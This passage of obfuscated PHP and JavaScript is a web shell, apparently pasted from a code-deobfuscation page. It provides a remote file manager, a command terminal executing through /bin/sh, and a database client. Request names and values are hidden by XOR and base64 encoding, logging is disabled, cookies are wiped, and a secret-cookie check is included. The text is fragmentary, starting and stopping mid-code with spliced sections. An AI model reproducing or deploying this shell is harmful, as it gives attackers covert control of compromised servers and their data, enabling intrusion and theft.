(PHP_VERSION >= "5") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getLinkTarget(); } catch (Exception $e) { $v = NULL; } if (is_string($v)) { $this->f = $v; return $v; } } } $v = realpath($this->fp); if (is_string($v)) { $this->f = $v; return $v; } $this->f = ''; return ''; } function getSize() { if (isset($this->s)) { return $this->s; } if (!isset($this->i)) { $this->stat(); } if ($this->i !== FALSE) { $this->s = $this->i[7]; return $this->s; } $v = filesize($this->fp); if (is_int($v)) { $this->s = $v; return $v; } if (PHP_VERSION >= "5") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getSize(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->s = $v; return $v; } } } $this->s = -1; return -1; } function getCTime() { if (isset($this->c)) { return $this->c; } if (!isset($this->i)) { $this->stat(); } if ($this->i !== FALSE) { $this->c = $this->i[10]; return $this->c; } $v = filectime($this->fp); if (is_int($v)) { $this->c = $v; return $v; } if (PHP_VERSION >= "5") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getCTime(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->c = $v; return $v; } } } $this->c = 0; return 0; } function getMTime() { if (isset($this->m)) { return $this->m; } if (!isset($this->i)) { $this->stat(); } if ($this->i !== FALSE) { $this->m = $this->i[9]; return $this->m; } $v = filemtime($this->fp); if (is_int($v)) { $this->m = $v; return $v; } if (PHP_VERSION >= "5") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getMTime(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->m = $v; return $v; } } } $this->m = 0; return 0; } function getOwner() { if (isset($this->o)) { return $this->o; } if (!isset($this->i)) { $this->stat(); } if ($this->i !== FALSE) { $this->o = $this->i[4]; return $this->o; } $v = fileowner($this->fp); if (is_int($v)) { $this->o = $v; return $v; } if (PHP_VERSION >= "5") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getOwner(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->o = $v; return $v; } } } $this->o = -1; return -1; } function getGroup() { if (isset($this->g)) { return $this->g; } if (!isset($this->i)) { $this->stat(); } if ($this->i !== FALSE) { $this->g = $this->i[5]; return $this->g; } $v = filegroup($this->fp); if (is_int($v)) { $this->g = $v; return $v; } if (PHP_VERSION >= "5") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getGroup(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->g = $v; return $v; } } } $this->g = -1; return -1; } function getPerms() { if (isset($this->p)) { return $this->p; } if (!isset($this->i)) { $this->stat(); } if ($this->i !== FALSE) { $this->p = $this->i[2]; return $this->p; } $v = fileperms($this->fp); if (is_int($v)) { $this->p = $v; return $v; } if (PHP_VERSION >= "5") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getPerms(); } catch (Exception $e) { $v = NULL; } if (is_int($v)) { $this->p = $v; return $v; } } } $this->p = 0; return 0; } function isReadable() { if (isset($this->r)) { return $this->r; } $v = is_readable($this->fp); if (is_bool($v)) { $this->r = $v; return $v; } if (PHP_VERSION >= "5") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->isReadable(); } catch (Exception $e) { $v = NULL; } if (is_bool($v)) { $this->r = $v; return $v; } } } $this->r = FALSE; return FALSE; } function isWritable() { if (isset($this->w)) { return $this->w; } $v = is_writable($this->fp); if (is_bool($v)) { $this->w = $v; return $v; } if (PHP_VERSION >= "5") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->isWritable(); } catch (Exception $e) { $v = NULL; } if (is_bool($v)) { $this->w = $v; return $v; } } } $this->w = FALSE; return FALSE; } function getMode() { $v = 0; if ($this->isReadable()) { $v += 1; } if ($this->isWritable()) { $v += 2; } return $v; } function stat() { $v = stat($this->fp); if (is_array($v)) { $this->i = $v; return; } $v = lstat($this->fp); $this->i = is_array($v) ? $v : FALSE; } function type() { $v = filetype($this->rp); $this->t = $v ? $v : FALSE; } function spl() { $this->fi = FALSE; if (PHP_VERSION >= "5") { if (PHP_VERSION >= "5.1.2") { try { $this->fi = new SplFileInfo($this->rp); } catch (Exception $e) { $this->fi = FALSE; } } } } } goto tCVdW; HPJQi: ?> 
' + ign); 
   else { 
    val = elmById('spnPth').textContent; 
    ajxSnd(elmById('spnUsrHst').textContent + ':' + val + '$ ' + cmd, onExec, frm, { 
     a: 't', 
     p: val 
    }, elmById('slctTrmCS').value); 
   } 
  } 
 } 
 frm.e.value = ''; 
 return false; 
} 
 
function onExec(div, data) { 
 var cmd = div.childNodes[1].textContent.slice(0, -2); 
 if (data === '\x03\x1E') return uiChngMsg(div, 'Error in command: ' + cmd, 'Err'); 
 data = data.slice(0, -3); 
 var pos = data.lastIndexOf('\x03\x1E\x02
'); 
 if (pos > -1) { 
  var inf = data.slice(pos + 4).split('\n', 3); 
  elmById('spnUsrHst').textContent = inf[0] + '@' + inf[1]; 
  elmById('spnPth').textContent = inf[2]; 
  data = data.slice(0, pos); 
 } else data += '\n'; 
 if(elmById('cbIT').checked){ 
	elmById('divTrm').append(elmById('preTrm')); 
	elmById('preTrm').textContent = cmd + '\n' + data + '\n' + elmById('preTrm').textContent; 
 } 
 else{ 
	elmById('divTrm').prepend(elmById('preTrm')); 
	elmById('preTrm').textContent += cmd + '\n' + data + '\n'; 
	pos = elmById('divTrm'); 
	pos.scrollTop = pos.scrollHeight; 
 } 
 uiDelMsg(div); 
} 
 
function trmSaveState() { 
 if (exeFuncs.length === 0) return; 
 var e = elmById('frmTrm'); 
 strgSaveStr('trmShell', e.s.value); 
 strgSaveBool('trmSilent', e.h.checked); 
 strgSaveOpt('trmFunc', e.f.value); 
 strgSaveOpt('trmLoadAs', e.c.value); 
 strgSaveOpt('trmSendAs', elmById('slctTrmCS').value); 
 strgSaveStr('trmPath', elmById('spnPth').textContent); 
 strgSaveArr('trmHist', trmHist); 
} 
 
function trmRestoreState() { 
 var cnt = exeFuncs.length; 
 if (cnt === 0) { 
  elmById('tabTrm').style.display = 'none'; 
  return; 
 } 
 var frm = elmById('frmTrm'), 
  val = sessionStorage.getItem('trmFunc') | 0; 
 for (var i = 0; i < cnt; ++i) { 
  var opt = new Option(exeFuncs[i][1], exeFuncs[i][0]); 
  if (exeFuncs[i][0] === val) opt.selected = true; 
  frm.f.add(opt); 
 } 
 elmById('spnUsrHst').textContent = exeFuncs[0][2]; 
 val = sessionStorage.getItem('trmPath'); 
 elmById('spnPth').textContent = val === null ? exeFuncs[0][3] : val; 
 strgRstrVal('trmShell', frm.s); 
 strgRstrChck('trmSilent', frm.h); 
 strgRstrVal('trmSendAs', 'slctTrmCS'); 
 strgRstrVal('trmLoadAs', frm.c); 
} 
 
function uiUpdInf(chld) { 
 var div = elmById('divInfo'); 
 div.removeChild(div.lastChild); 
 div.appendChild(chld); 
} 
 
function onInfMain(div, data) { 
 var tbl = newElm('table', { 
  id: 'tblInf' 
 }); 
 for (var i = 0, l = data.length; i < l; ++i) { 
  if (i > 0) tbl.insertRow(-1).appendChild(newElm('th', { 
   colSpan: 2 
  })); 
  for (var key in data[i]) { 
   var tr = tbl.insertRow(-1); 
   tr.appendChild(newElm('th', { 
    textContent: key 
   })); 
   tr.insertCell(1).textContent = data[i][key]; 
  } 
 } 
 uiUpdInf(tbl); 
 uiDelMsg(div); 
} 
 
function onInfPHP(div, data) { 
 var tbl = document.createElement('table'); 
 tbl.id = 'tblInf'; 
 for (var sct in data) { 
  var tr = tbl.insertRow(-1); 
  tr.appendChild(newElm('th', { 
   colSpan: 2, 
   textContent: sct 
  })); 
  for (var key in data[sct]) { 
   tr = tbl.insertRow(-1); 
   tr.appendChild(newElm('th', { 
    textContent: key 
   })); 
   tr.insertCell(1).textContent = data[sct][key]; 
  } 
 } 
 uiUpdInf(tbl); 
 uiDelMsg(div); 
} 
 
function ajxSnd(msg, clbck, frm, data, chrst) { 
 
	RO = elmById('cbRO').checked; 
	RR = elmById('cbRR').checked; 
	TM = elmById('cbTM').checked; 
	OI = elmById('cbOI').checked; 
 
	 function obfuscate(data) { 
	  if (obfKey === false || data.length < 2) return data; 
	  var r = [], 
	   l = data.length; 
	  data = data.split(''); 
	  for (var i = 0; i < l; ++i) { 
	   var c = (i % 2 === 0) ? data.pop() : data.shift(); 
	   r.push(c === obfKey ? '' : c); 
	  } 
	  return r.join(obfKey); 
	 }; 
 
	 function cancel() { 
	  document.body.removeChild(reqIfrm); 
	  uiDelMsg(msgDiv); 
	  return false; 
	 }; 
 
	 function onResp() { 
	  deleteAllCookies(); 
 
	  msgDiv.firstChild.onclick = uiClsMsg; 
	  var doc = reqIfrm.contentDocument; 
	  var xr = reqIfrm.getAttribute('xr'); 
	  var xc = reqIfrm.getAttribute('xc'); 
	  var resp = xr ? xr : doc.body.textContent; 
	  var cset = xc ? xc : doc.characterSet; 
	  var data = RO ? resp : getValue(resp); 
	  document.body.removeChild(reqIfrm); 
 
	  if (data.slice(0, 2) === '\x01\x02') { 
	   if (data.slice(-3) === '\x17\x04\x10' && data.indexOf('\x03\x1E')) data = data.slice(2, -3); 
	   else data = false; 
	  } else try { 
	   data = JSON.parse(data); 
	  } catch (e) { 
	   data = false; 
	  } 
	  if (data === false) uiNetErrMsg(msgDiv); 
	  else if (clbck) clbck.call(frm, msgDiv, data, cset); 
	  else uiDelMsg(msgDiv); 
	 }; 
 
	 var msgDiv = uiMsg(msg), 
	  obfKey = false, 
	  reqIfrm = newElm('iframe', { 
	   src: '', 
	   name: 'ifrm' + (new Date().getTime()) 
	  }), 
	  reqFrm = newElm('form', { 
	   acceptCharset: (chrst ? chrst : 'UTF-8'), 
	   action: window.location.href, 
	   method: 'post', 
	   target: reqIfrm.name 
	  }), 
	  elm; 
 
	 if (RO) data.ro = '1'; 
	 if (TM) data.tm = '1'; 
	 if (obfKey !== false) data.k = obfKey; 
	 elm = elmById('frmCstEnv'); 
	 if (elm.e.checked && elm.i.value !== '') { 
	  data.j = [elm.f.value, elm.s.value, elm.i.value, '']; 
	  if (elm.n.checked) data.j[3] = 'n'; 
	  if (elm.c.checked) data.j[3] += 'C'; 
	 } 
	 for (var key in data) 
	  if (Array.isArray(data[key])) 
	   for (var i = 0, c = data[key].length; i < c; ++i) reqFrm.appendChild(newElm('input', { 
	    type: 'hidden', 
	    name: RR ? key + '['+ i +']' : setName(key + '['+ i +']'), 
	    value: RR ? data[key][i]: setValue(data[key][i]) 
	   })); 
	  else reqFrm.appendChild(newElm('input', { 
	   type: 'hidden', 
	   name: RR ? key : setName(key), 
	   value: RR ? data[key] : setValue(data[key]) 
	  })); 
	 if (frm) 
	  for (var i = frm.elements.length - 1; i >= 0; --i) { 
	   elm = frm.elements[i]; 
	   if (elm.name === '' || elm.disabled) continue; 
	   if (elm.tagName === 'INPUT') { 
	    if ((elm.type === 'checkbox' || elm.type === 'radio') && !elm.checked) continue; 
	    if (elm.type === 'file') { 
			if(RR){ 
		     reqFrm.enctype = 'multipart/form-data'; 
		     reqFrm.appendChild(elm.cloneNode(true)); 
			} 
	     continue; 
	    } 
	   } 
	   if (elm.value !== '' || elm.tagName === 'TEXTAREA') reqFrm.appendChild(newElm('input', { 
	    type: 'hidden', 
	    name: RR ? elm.name : setName(elm.name), 
	    value: RR ? elm.value : setValue(elm.value) 
	   })); 
	  } 
 
	 document.body.appendChild(reqFrm); 
	 addEncKey(reqFrm); 
 
	 status = false; 
	 if(COOKIE && reqFrm.enctype != 'multipart/form-data'){ 
		status = submitViaCookie(reqFrm, false); 
		if(status == 'SEND'){ 
			elements = reqFrm.childNodes; 
			while(elements.length) 
				for(i = 0; i < elements.length; i++) 
					reqFrm.removeChild(elements[i]); 
			reqFrm.method = 'get'; 
		} 
		else 
			reqFrm.method = 'post'; 
	 } 
 
	 document.body.appendChild(reqIfrm); 
 
	 if(status != 'CANCEL'){ 
 
		if(OI && reqFrm.method == 'get') 
			reqIfrm.src = reqFrm.action; 
 
		else if(!data.hasOwnProperty('d')){ 
			var xhr = new XMLHttpRequest(); 
			xhr.open(reqFrm.method, '', false); 
			xhr.send(new FormData(reqFrm)); 
			reqIfrm.setAttribute('xr', xhr.responseText); 
			reqIfrm.setAttribute('xc', xhr.getResponseHeader('content-type').split('=')[1]); 
			reqIfrm.srcdoc = ''; 
		} 
		else 
			(COOKIE || !OI && reqFrm.method == 'get' ? window.location.href = window.location.pathname : reqFrm.submit()); 
 
		reqIfrm.onload = onResp; 
	 } 
 
	 document.body.removeChild(reqFrm); 
	 msgDiv.firstChild.onclick = cancel; 
	 setTimeout(deleteAllCookies, 100);// sorry :( 
 
	 return false; 
} 
</script> 
 
<script id="dataExe"type="text/data"><?php  goto RwG_t; IePeY: ?> 
"onclick="onTblFilesClick(event)"><thead><tr><th width="20px"><input type="checkbox"onclick="uiCheckAll('Files', this.checked)"/></th><th>Name</th><th width="65px">Ext</th><th width="105px">Size</th><th width="145px">Modified (UTC)</th><th width="95px">Permission</th> <?php  goto BNZPY; mLSkC: function scriptInit() { if (!isset($GLOBALS["DEBUG"])) { return; } define("D", $GLOBALS["DEBUG"]); set_time_limit(D ? 15 : 0); error_reporting(D ? E_ALL : 0); ini_set("display_errors", D ? "On" : "Off"); ini_set("max_execution_time", D ? 15 : 0); ini_set("error_log", NULL); ini_set("log_errors", 0); } goto cyvHX; uPyOx: function samePath($a) { $p = NULL; foreach ($a as $v) { $v = array_slice(explode(DSC, rtrim($v, DSC)), 0, -1); if ($p === NULL) { $p = $v; } else { $k = array(); $c = count($p); $i = count($v); if ($i < $c) { $c = $i; } for ($i = 0; $i < $c; ++$i) { if ($p[$i] === $v[$i]) { $k[] = $p[$i]; } else { break; } } $p = $k; if ($i === 0) { break; } } } return count($p) === 0 ? '' : implode(DSC, $p) . DSC; } goto FRXQl; lFYjV: function nesc($v) { return "'" . str_replace("'", "'"'"'", $v) . "'"; } goto NHyqa; T7UpU: function setValue($str) { return base64_encode(xorStr($str)); } goto TTe2v; oKPfv: echo $GLOBALS["DEFAULT_TAB"] == "tabFM" ? "window.addEventListener("load",function(){goTo("~");})" : ''; goto E6yQa; jBwCe: echo NIX ? "/bin/sh" : ''; goto HJ0e3; tvptL: function t($s, $n = false) { if (!function_exists("token_get_all")) { return $s; } $s = ($n ? "<?php " : '') . $s; foreach (token_get_all($s) as $t) { @($r .= (is_array($t) ? $t[1] : $t) . j()); } return $n ? substr($r, 6) : $r; } goto dvbb8; HJ0e3: ?> 
"/></label><label><input type="checkbox"name="h"> Don't show errors</label><label><input type="checkbox" id="cbIT"/> Invert output</label><label>Use function: <select name="f"></select></label><div><span class="spnChrst"title="Send as..."><hr class="arwUp"/> <select id="slctTrmCS"><?php  goto i_T5O; ASF_h: function gName($id) { if ($id === -1) { return "?"; } static $a = NULL, $f = FALSE; if ($a === NULL) { if ($v = getFile("/etc/group")) { $a = array(); $v = explode("
", $v); foreach ($v as $i) { if ($i) { $i = explode(":", $i, 4); $a[$i[2]] = $i[0]; } } } elseif (defined("POSIX_F_OK") || function_exists("posix_getgrgid")) { $f = (bool) posix_getgrgid(0); } } if ($a) { if (isset($a[$id])) { return $a[$id]; } elseif ($f) { if ($v = posix_getgrgid($id)) { return $v["name"]; } } } return $id; } goto CLGau; ttWuN: ?> 
 <input type="text"name="p"value="<?php  goto cY2KI; ujA4J: $GLOBALS["REMOTE_ADDR"] = true; goto TUFOa; ZbnwP: die(makeOut($out)); ?>

Did this file decode correctly?

Original Code

<?php

if(isset($_COOKIE['7f5O'])) {
    die('qOV33D');
}
 goto y3G4I; ng60J: ?>
<td><a href="#"class="lnkAct">Mrk</a>&nbsp;<a href="#"class="lnkAct">Del</a></td></tr></template><div id="divWndws"><template id="tmplFrmFile"><form class="modal frmFile"onsubmit="saveFile(event)"onmousedown="uiActvModal(event)"tabindex="-1"><div class="divCntrls"ondblclick="return uiRsz(this.parentNode)"><span class="spnTitle">New File</span><a href="#"class="cntrl"title="Close"onclick="return uiDstrModal(this.parentNode.parentNode)">&#x00D7;</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz(this.parentNode.parentNode)">&#x2922;</a><a href="#"class="cntrl"title="Reload file"onclick="rldFile(event)">&#x27F3;</a></div><textarea name="t"></textarea><div class="flexRow"><input type="text"required/><select name="c"title="File encoding..."onchange="rldFileAs(event)"><?php  goto hfGfr; lDqlD: function getName($str) { $data = getData($str); if ($data === false) { return false; } return xorStr(hex2ascii($data), true); } goto T7UpU; dvbb8: function sDie($str = '') { if (RO) { die($str); } else { $out = ob_get_contents(); ob_end_clean(); } if (preg_grep("\x7c\141\x74\164\x61\143\150\155\145\x6e\x74\x7c", headers_list())) { print gzencode($out . $str, 9); } else { print setValue($out . $str); } die; } goto AuYcb; oY0E0: $GLOBALS["\x44\101\122\x4b"] = false; goto ujA4J; ukSg0: function setName($str) { $str = ascii2hex(xorStr($str)); $pref = substr($GLOBALS["\105\x4e\103\113\105\x59"], 0, $GLOBALS["\120\122\x45\x4c\x45\116"]); return $pref . $str; } goto lDqlD; S_uPO: ?>
);
  tbdy.appendChild(row);
 }
 elmTblFiles.appendChild(tbdy);
}

function listPaths(data) {
 var stl = elmTblFiles.style;
 if (stl.display !== 'none') {
  stl.display = 'none';
  for (var i = elmTblFiles.tBodies.length - 1; i >= 0; --i) elmTblFiles.removeChild(elmTblFiles.tBodies[i]);
  elmTblFiles.tHead.rows[0].cells[0].firstChild.checked = false;
 }
 if ('p' in data) listFiles(data<?php  goto OHSUm; xJtKW: ?>
"/></label><label class="option"><input type="checkbox"name="n"/> -n &nbsp;No php.ini file will be used</label><label class="option"><input type="checkbox"name="c"/> -C &nbsp;Do not chdir to the script's directory</label></fieldset></form></div><div class="modal"onmousedown="uiActvModal(event)"id="divLog"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Message Log</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('divLog')">&#x00D7;</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz('divLog')">&#x2922;</a><a href="#"class="cntrl"title="Clear"onclick="return clnLog()">&#8802;</a></div><div id="divLogCntn"></div></div><div id="divMsgs"class="divCntrls"></div></body>
<?php  goto tLK80; cyvHX: function decodeInput(&$arr) { $str = ''; foreach ($arr as $k => $v) { $key = getName($k); if (!strlen($key)) { continue; } $str .= $key . "\x3d" . urlencode(getValue($v)) . "\x26"; unset($arr[$k]); } parse_str($str, $dec); return array_merge($arr, $dec); } goto B0nIU; QoO1P: echo NIX ? "\157\x77\156\x72\163\133\x66\x69\x6c\145\133\x35\x5d\x5d\53\47\57\47\53\147\162\x70\x73\x5b\x66\x69\154\145\x5b\66\x5d\x5d" : "\x27\x27"; goto XoK8_; Vkb_l: if (NIX) { ?>
frm.e.value = data[2];
 frm.e.placeholder = data[2];
 frm.o.value = data[3];
 frm.o.placeholder = data[3];
 frm.r.value = data[4];
 frm.r.placeholder = data[4];
 <?php  } goto Qhy05; IiLfv: define("\116\111\130", DSC === "\57"); goto eAkgp; BJRA0: ?>
], [fpth]);
    break;
   default:
    if (trgt.textContent === 'Mrk') {
     row.cells[1].firstChild.classList.toggle('mrkd');
     markFiles([fpth]);
    } else if (trgt.textContent === 'Del') delFiles([fpth]);
    break;
  }
 }
}

function sqlRestoreState() {
 var val = sessionStorage.getItem('sqlCnnct');
 if (val !== null) {
  var frm = elmById('frmCnnct');
  val = JSON.parse(val);
  for (var key in val) frm[key].value = val[key];
 }
 strgRstrChck('sqlCntRw', 'cbCR');
 strgRstrVal('sqlRPP', elmById('frmPg').r);
 strgRstrVal('sqlSendAs', 'sqlCSSend');
 strgRstrVal('sqlLoadAs', 'sqlCSLoad');
}

function sqlSaveState() {
 var elms = elmById('frmCnnct').elements,
  val = {};
 for (var i = elms.length - 1; i >= 0; --i)
  if (elms[i].name !== '') val[elms[i].name] = elms[i].value;
 strgSaveStr('sqlCnnct', JSON.stringify(val));
 strgSaveBool('sqlCntRw', 'cbCR');
 strgSaveStr('sqlRPP', elmById('frmPg').r.value);
 strgSaveOpt('sqlSendAs', elmById('sqlCSSend').value);
 strgSaveOpt('sqlLoadAs', elmById('sqlCSLoad').value);
}

function sqlAjxSnd(msg, cllbck, data) {
 var elm = elmById('frmCnnct').elements;
 if (!data) data = {};
 data.a = 's';
 for (var i = elm.length - 1; i >= 0; --i) {
  var n = elm[i].name;
  if (n !== '' && elm[i].value !== '' && !(n in data)) data[n] = elm[i].value;
 }
 var val = elmById('sqlCSLoad').value;
 if (val !== 0) data.c = val;
 elm = elmById('sqlCSSend');
 data.l = elm.value;
 return ajxSnd(msg, cllbck, null, data, elm.textValue);
}

function mkItmRow(name, val, chckd, fncOpn, fncDwn) {
 var div = newElm('div', {
  className: 'divItm'
 });
 div.appendChild(newElm('input', {
  type: 'checkbox',
  name: name + '[]',
  value: val,
  checked: chckd,
  onchange: onChngCBState
 }));
 if (fncOpn) div.appendChild(newElm('a', {
  href: '#',
  className: 'cntrl actRe',
  textContent: '\u27F3',
  onclick: getStrctr
 }));
 if (fncDwn) div.appendChild(newElm('a', {
  href: '#',
  className: 'cntrl arwDwn',
  onclick: fncDwn
 }));
 div.appendChild(newElm((fncOpn ? 'a' : 'span'), {
  href: '#',
  className: 'aMore',
  title: val,
  textContent: val,
  onclick: fncOpn
 }));
 return div;
}

function cnnct() {
 var frm = elmById('frmCnnct');
 return sqlAjxSnd('Connect to ' + frm.e.textValue + ' server ' + frm.h.value + ' as ' + frm.u.value + ' (' + frm.p.value + ')', onCnnct);
}

function onCnnct(div, data) {
 if ('e' in data) return uiChngMsg(div, data.e, 'Err');
 elmById('frmSQL').q.value = '';
 elmById('divCptn').textContent = '';
 elm = elmById('frmPg').style;
 if (elm.display === 'block') elm.display = 'none';
 elm = elmById('tblHead');
 if (elm.childNodes.length > 0) elm.removeChild(elm.tHead);
 elm = elmById('tblData');
 if (elm.tBodies.length > 0) elm.removeChild(elm.tBodies[0]);
 elm = elmById('divSQLWrpLeft');
 if (elm.style.display === 'block') {
  elm.style.display = 'none';
  var e = elmById('divSchm');
  for (var i = e.childNodes.length - 1; i >= 0; --i) e.removeChild(e.lastChild);
 }
 if ('b' in data) {
  elmById('divSchm').appendChild(mkItmRow('b', data.b, false, opnList));
  onGetStrctr(div, data);
 } else {
  var frgm = document.createDocumentFragment();
  for (var i = 0, c = data.length; i < c; ++i) frgm.appendChild(mkItmRow('b', data[i], false, opnList));
  elmById('divSchm').appendChild(frgm);
 }
 elm.style.display = 'block';
 elm = elmById('frmSQL').style;
 if (elm.display !== 'flex') elm.display = 'flex';
 if (!('b' in data)) uiDelMsg(div);
}

function opnList() {
 var prnt = this.parentNode,
  lst = prnt.lastChild;
 if (lst.className === 'divLst') lst.style.display = lst.style.display === 'none' ? 'block' : 'none';
 else prnt.childNodes[1].onclick();
 return false;
}

function onChngCBState() {
 var chldTotal = this.getAttribute('chldTotal') | 0,
  chldChckd = this.getAttribute('chldChckd') | 0,
  chldIndtrm = -1 * (this.getAttribute('chldIndtrm') | 0),
  prnt = this.name === 'b[]' ? false : this.parentNode.parentNode.parentNode.firstChild;
 if (chldIndtrm !== 0 || chldChckd !== chldTotal) {
  this.setAttribute('chldIndtrm', 0);
  --chldIndtrm;
 }
 this.setAttribute('chldChckd', this.checked ? chldTotal : 0);
 chldChckd = this.checked ? chldTotal - chldChckd + 1 : -1 * chldChckd - 1;
 if (chldTotal > 0) {
  var inps = this.parentNode.lastChild.getElementsByTagName('input');
  for (var i = inps.length - 1; i >= 0; --i)
   if (inps[i].indeterminate || inps[i].checked !== this.checked) {
    var ttl = inps[i].getAttribute('chldTotal') | 0;
    if (ttl > 0) {
     inps[i].setAttribute('chldIndtrm', 0);
     inps[i].setAttribute('chldChckd', this.checked ? ttl : 0);
    }
    inps[i].indeterminate = false;
    inps[i].checked = this.checked;
   }
 }
 while (prnt) {
  var crrntTotal = prnt.getAttribute('chldTotal') | 0,
   crrntChckd = (prnt.getAttribute('chldChckd') | 0) + chldChckd,
   crrntIndtrm = (prnt.getAttribute('chldIndtrm') | 0) + chldIndtrm;
  prnt.setAttribute('chldChckd', crrntChckd);
  prnt.setAttribute('chldIndtrm', crrntIndtrm);
  if (crrntChckd === crrntTotal) {
   prnt.checked = true;
   ++chldChckd;
   if (prnt.indeterminate) {
    prnt.indeterminate = false;
    --chldIndtrm;
   }
  } else {
   if (prnt.checked) {
    prnt.checked = false;
    --chldChckd;
   }
   if (crrntChckd === 0 && crrntIndtrm === 0) {
    if (prnt.indeterminate) {
     prnt.indeterminate = false;
     --chldIndtrm;
    }
   } else if (!prnt.indeterminate) {
    prnt.indeterminate = true;
    ++chldIndtrm;
   }
  }
  prnt = prnt.name === 'b[]' ? false : prnt.parentNode.parentNode.parentNode.firstChild;
 }
}

function listTables(prnt, data) {
 var chckd = prnt.parentNode.firstChild.checked,
  lst = data.t;
 for (var i = 0, c = lst.length; i < c; ++i) {
  var row = mkItmRow('t', lst[i][0], chckd, getData, opnList);
  if (lst[i].length > 1) row.appendChild(newElm('span', {
   className: 'spnRC',
   textContent: lst[i][1]
  }));
  prnt.appendChild(row);
 }
}

function listSchemas(prnt, data) {
 var chckd = prnt.parentNode.firstChild.checked,
  lst = data.s;
 for (i = 0, c = lst.length; i < c; ++i) prnt.appendChild(mkItmRow('s', lst[i], chckd, opnList));
}

function getStrctr() {
 var elm = this,
  data = {},
  name = [],
  inp;
 do {
  elm = elm.parentNode;
  inp = elm.firstChild;
  name.push(inp.value);
  data[inp.name.substr(0, 1)] = inp.value;
  elm = elm.parentNode;
 } while (elm.id !== 'divSchm');
 if (elmById('cbCR').checked) data.r = '';
 return sqlAjxSnd('Get structure of ' + name.reverse().join('.'), onGetStrctr, data);
}

function srchItm(elm, name, value) {
 var chlds = elm.childNodes;
 for (var i = 0, c = chlds.length; i < c; ++i) {
  var inp = chlds[i].firstChild;
  if (inp.name === name && inp.value === value) return chlds[i];
 }
 return false;
}

function onGetStrctr(div, data) {
 if ('e' in data) return uiChngMsg(div, data.e, 'Err');
 var cnt;
 if ('f' in data) cnt = data.f.length;
 else if ('t' in data) cnt = data.t.length;
 else cnt = data.s.length;
 if (cnt === 0) {
  var t = 'Database',
   v = [data.b];
  if (('s' in data) && ('t' in data)) {
   t = 'Schema';
   v.push(data.s);
  }
  if ('f' in data) {
   t = 'Table';
   v.push(data.t);
  }
  return uiChngMsg(div, t + ' ' + v.join('.') + ' is empty', 'Inf');
 }
 var prnt = srchItm(elmById('divSchm'), 'b[]', data.b);
 if (!prnt) return;
 if (('t' in data) && ('s' in data)) {
  if (prnt.lastChild.className !== 'divLst') return;
  prnt = srchItm(prnt.lastChild, 's[]', data.s);
  if (!prnt) return;
 }
 if ('f' in data) {
  if (prnt.lastChild.className !== 'divLst') return;
  prnt = srchItm(prnt.lastChild, 't[]', data.t);
  if (!prnt) return;
 }
 if (prnt.lastChild.className === 'divLst') prnt.removeChild(prnt.lastChild);
 var i = prnt.firstChild;
 i.setAttribute('chldTotal', cnt);
 i.setAttribute('chldChckd', i.checked ? cnt : 0);
 i.setAttribute('chldIndtrm', 0);
 prnt.appendChild(newElm('div', {
  className: 'divLst'
 }));
 prnt = prnt.lastChild;
 if ('f' in data) listFields(prnt, data);
 else if ('t' in data) listTables(prnt, data);
 else listSchemas(prnt, data);
 uiDelMsg(div);
}

function listFields(prnt, data) {
 var chckd = prnt.parentNode.firstChild.checked,
  lst = data.f;
 for (i = 0, c = lst.length; i < c; ++i) {
  var row = mkItmRow('f', lst[i][0], chckd),
   type = data.y[lst[i][1]];
  if (type !== '') {
   var div = newElm('div', {
    className: 'divFldTp'
   });
   div.appendChild(newElm('span', {
    className: 'aMore',
    textContent: type
   }));
   row.appendChild(div);
  }
  prnt.appendChild(row);
 }
}

function getData() {
 var elm = this.parentNode,
  data = {
   t: elm.firstChild.value,
   f: [],
   o: 0,
   r: elmById('frmPg').r.value
  };
 elm = elm.parentNode.parentNode;
 if (elm.firstChild.name === 's[]') {
  data.s = elm.firstChild.value;
  data.b = elm.parentNode.parentNode.firstChild.value;
 } else data.b = elm.firstChild.value;
 elm = this.parentNode;
 if (elm.lastChild.className === 'divLst') {
  elm = elm.lastChild.childNodes;
  for (var i = elm.length - 1; i >= 0; --i)
   if (elm[i].firstChild.checked) data.f.unshift(elm[i].firstChild.value);
 }
 if (data.f.length === 0) data.f = '';
 return sqlAjxSnd('Load data from table ' + data.b + '.' + ('s' in data ? data.s + '.' : '') + data.t, onGetData, data);
}

function listData(caption, data) {
 var tblHead = elmById('tblHead'),
  tblData = elmById('tblData'),
  cln = data.f.length;
 if (tblData.tBodies.length > 0) tblData.removeChild(tblData.tBodies[0]);
 elmById('divCptn').textContent = caption;
 if (tblHead.childNodes.length > 0) tblHead.removeChild(tblHead.tHead);
 var thead = document.createElement('thead'),
  elm = thead.insertRow(0);
 for (var i = 0; i < cln; ++i) elm.insertCell(-1).textContent = data.f[i];
 tblHead.appendChild(thead);
 data = data.r;
 elm = document.createElement('tbody');
 for (var i = 0, c = data.length; i < c; ++i) {
  var tr = elm.insertRow(-1);
  for (var j = 0; j < cln; ++j) tr.insertCell(-1).textContent = data[i][j];
 }
 tblData.appendChild(elm);
 elm = tblHead.tHead.rows[0].cells;
 data = tblData.tBodies[0].rows[0].cells;
 for (var i = 0; i < cln; ++i) {
  var tr = (elm[i].offsetWidth > data[i].offsetWidth ? elm[i].offsetWidth : data[i].offsetWidth) + 'px';
  elm[i].style.minWidth = tr;
  elm[i].style.width = tr;
  data[i].style.minWidth = tr;
